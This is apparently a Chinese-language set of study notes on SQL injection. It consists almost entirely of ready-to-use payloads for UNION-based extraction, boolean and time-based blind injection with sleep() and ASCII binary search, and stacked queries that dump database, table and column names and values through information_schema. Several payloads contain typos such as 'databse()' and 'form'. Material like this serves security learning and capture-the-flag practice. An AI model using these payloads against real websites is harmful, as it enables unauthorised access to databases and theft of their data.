数字型注入
可以用 id=2 与 id=3-1 返回的页面是否相同来判断是否是数字型
联合注入
?id=1' order by 1 --+
?id=1' order by 2 --+
?id=1' order by 3 --+
……
↑直至返回报错,可以判断出列数↑
?id=1' union select database(),2,3 --+
?id=1' union select 1,database(),3 --+
?id=1' union select 1,2,database() --+
↑哪个返回库名说明库在哪列↑
?id=1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='库名' --+
↑爆出表名↑
?id=1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名' --+
↑爆出字段名↑
-1’ union select 1,2,列名 from 库名.表名 --+
↑爆出值↑
字符型注入
字符串 ‘1’ 会被强制转成True
盲注
布尔注入
1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
id=1’ and length(database())=1/2/3…… #
直到显示存在为止
或者
id=1’ and (length (database()))>1/2/3……–+
判断字符数是否小于1/2/3……个
3.猜解数据库中的表名
首先猜解数据库中表的数量:
输入1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1/2/3…… #
直到显示存在为止。。。。
接着挨个猜解表名:
先求第n个表的表名长度:
输入1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),n))=1/2/3…… # 直到有显示为止。。。。。。
再猜第n个表的名字
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1/2/3……,n))>97 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1/2/3……,n))<122# 显示存在
直到猜出来为止。。。。。最后猜出n个表的每一个表名
二分法
输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
慢慢缩小范围直到试出来为止。。。。最后猜出第一个字符
输入1’ and ascii(substr(databse(),2,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入1’ and ascii(substr(databse(),2,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
同理猜第二个。。。。。。
4.猜解表中字段名
首先猜解表中字段的数量:
1’ and (select count(column_name) from information_schema.columns where table_name= ‘表名’)=1/2/3…… #
直到存在为止。。。
接着挨个猜解字段名:
先猜某个字段名的长度
1’ and length(substr((select column_name from information_schema.columns where table_name= ‘表名’ limit 0,1),1))=1/2/3…… # 直到显示存在
再猜第n个字段名:
1’ and ascii(substr((select column_name from information_schema.columns WHERE table_schema=DATABASE() and table_name=‘表名’ LIMIT 1),1/2/3……,1))=>97 #
1’ and ascii(substr((select column_name from information_schema.columns WHERE table_schema=DATABASE() and table_name=‘表名’ LIMIT 1),1/2/3……,1))=<122 #
缩小范围确定字符
时间注入
1.判断是否存在注入,注入是字符型还是数字型
1’ and sleep(1/2/3……) #
2.猜解当前数据库名
1’ and if(length(database())=1/2/3……,sleep(5),1)# 猜解数据名的长度
1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 采用二分法猜解数据库名
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 采用二分法猜解数据库名
3.猜解数据库中的表名
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1/2/3……,sleep(5),1)# 猜解数据库中表的数量
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1/2/3……,sleep(5),1) # 猜解表名
4.猜解表中字段名
1’ and if((select count(column_name) from information_schema.columns where table_name= ’表名’)=1/2/3……,sleep(5),1)# 猜解表中字段的数量
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’表名’ limit 0,1),1))=1/2/3……,sleep(5),1) # 猜解字段名
堆叠注入
mysql_multi_query() 支持多条sql语句同时执行
1’; show databases;#
1'; show tables;#
1'; show columns form XXXXXXX;#
表名为数字要用反引号括起来